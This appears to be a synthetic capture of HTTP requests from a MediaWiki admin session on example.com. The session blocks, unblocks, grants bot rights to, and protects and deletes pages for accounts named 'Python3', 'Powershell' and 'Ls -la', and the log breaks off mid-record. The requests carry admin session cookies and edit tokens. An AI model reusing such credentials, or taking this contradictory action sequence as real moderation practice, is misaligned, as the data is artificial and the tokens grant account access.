{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Python3&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794260930%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 349", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=5%401794260930%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3ABlock&wpTarget=Python3&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links+to+python3+guides&wpAutoBlock=1&wpEditToken=aa8b621898b99cd5d5bbff7c983c51416af23fc2%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=Python3&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794260931%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 141", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=6%401794260931%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUnblock&wpTarget=Python3&wpReason=Spamming+links+to+python3+guides&wpEditToken=0301942f7378b7545282b44c2c59669e6af23fc5%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Python3&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794260934%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=Python3", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794260934%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 300", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Python3", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=7%401794260934%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links+to+python3+guides&wpEditToken=229e8052974b3c3c4f8007661187e43d6af23fc7%2B%5C&user=Python3&wpEditToken=4b385734108f62f64ab9bcd90a48d9b86af23fc7%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/Python3", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Python3", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794260936%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794260936%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 354", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=8%401794260936%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Python3+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links+to+python3+guides&mwProtectWatch=1&wpEditToken=a011544f3ec7fa75bd1fd89a2f20dcc96af23fc9%2B%5C"}
{"method": "GET", "target": "/wiki/Python3_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794260937%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794260937%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 190", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=9%401794260937%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Python3+notes&wpDeleteReasonList=other&wpReason=Spamming+links+to+python3+guides&wpWatch=1&wpConfirmB=&wpEditToken=894fe5e362a216c6fed953d5981e56266af23fca%2B%5C&wpConfirmationRevId=13"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Powershell&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794260939%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 355", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=10%401794260939%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3ABlock&wpTarget=Powershell&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links+to+powershell+guides&wpAutoBlock=1&wpEditToken=3b00de112eaad4ff6f12629cc0c9c8c06af23fcb%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=Powershell&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794260940%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 147", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=11%401794260940%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUnblock&wpTarget=Powershell&wpReason=Spamming+links+to+powershell+guides&wpEditToken=4b25c2be7aa7180be8fc025161311c226af23fce%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Powershell&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794260942%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=Powershell", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794260942%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 306", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Powershell", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=12%401794260942%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUserRights&wpGroup-bot=1&wpExpiry-bot=infinite&user-reason=Spamming+links+to+powershell+guides&wpEditToken=35cb5dd45d8899e2a96ed95c00c178ef6af23fd0%2B%5C&user=Powershell&wpEditToken=b9e7f00795439581c5845863b4170ec36af23fd0%2B%5C&conflictcheck-originalgroups=&saveusergroups=Save+user+groups"}
{"method": "GET", "target": "/wiki/Special:UserRights/Powershell", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Powershell", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=13%401794260945%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=protect", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=13%401794260945%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=protect", "headers": ["Host: example.com", "Content-Length: 360", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=13%401794260945%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Powershell+notes&mwProtect-level-edit=sysop&wpProtectExpirySelection-edit=infinite&mwProtect-expiry-edit=&mwProtect-level-move=sysop&wpProtectExpirySelection-move=infinite&mwProtect-expiry-move=&wpProtectReasonSelection=other&mwProtect-reason=Spamming+links+to+powershell+guides&mwProtectWatch=1&wpEditToken=384a82472f675c8d51d5f7ea14bc5a226af23fd1%2B%5C"}
{"method": "GET", "target": "/wiki/Powershell_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=protect", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=14%401794260946%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Powershell_notes&action=delete", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=14%401794260946%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/index.php?title=Powershell_notes&action=delete", "headers": ["Host: example.com", "Content-Length: 196", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Powershell_notes&action=delete", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=14%401794260946%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Powershell+notes&wpDeleteReasonList=other&wpReason=Spamming+links+to+powershell+guides&wpWatch=1&wpConfirmB=&wpEditToken=08e40f2e3128222c610cfe2dea904b416af23fd3%2B%5C&wpConfirmationRevId=14"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Ls%20-la&aulimit=10", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=15%401794260947%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Block", "headers": ["Host: example.com", "Content-Length: 347", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Block", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=15%401794260947%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3ABlock&wpTarget=Ls+-la&wpEditingRestriction=sitewide&wpPageRestrictions=&wpNamespaceRestrictions=&wpCreateAccount=1&wpExpiry=other&wpExpiry-other=1+week&wpReason=other&wpReason-other=Spamming+links+to+ls+-la+guides&wpAutoBlock=1&wpEditToken=5af8bdc9fcc0bb254d92eb67659a644d6af23fd4%2B%5C&redirectparams=&wpPreviousTarget=&wpConfirm="}
{"method": "GET", "target": "/wiki/Special:BlockList?wpTarget=Ls+-la&blockType=&limit=50&wpFormIdentifier=blocklist", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:BlockList", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=16%401794260949%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:Unblock", "headers": ["Host: example.com", "Content-Length: 139", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:Unblock", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=16%401794260949%23da3afb6e304edc637eb2dcecbe092657"], "body": "title=Special%3AUnblock&wpTarget=Ls+-la&wpReason=Spamming+links+to+ls+-la+guides&wpEditToken=9bd8191e47e9f9072a9d2c14f992993a6af23fd6%2B%5C"}
{"method": "GET", "target": "/api.php?action=query&format=json&list=allusers&auprefix=Ls%20-la&aulimit=10&auexcludetemp=1", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=17%401794260951%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "GET", "target": "/index.php?title=Special%3AUserRights&user=Ls+-la", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/wiki/Special:UserRights", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=17%401794260951%23da3afb6e304edc637eb2dcecbe092657"], "body": ""}
{"method": "POST", "target": "/wiki/Special:UserRights", "headers": ["Host: example.com", "Content-Length: 298", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special%3AUserRights&user=Ls+-la", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ha4hssngukie0fjaacr9dlo388ulhqlu; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=17%401794260951%23da3afb6e304edc637eb2dcecbe092657"], "body": 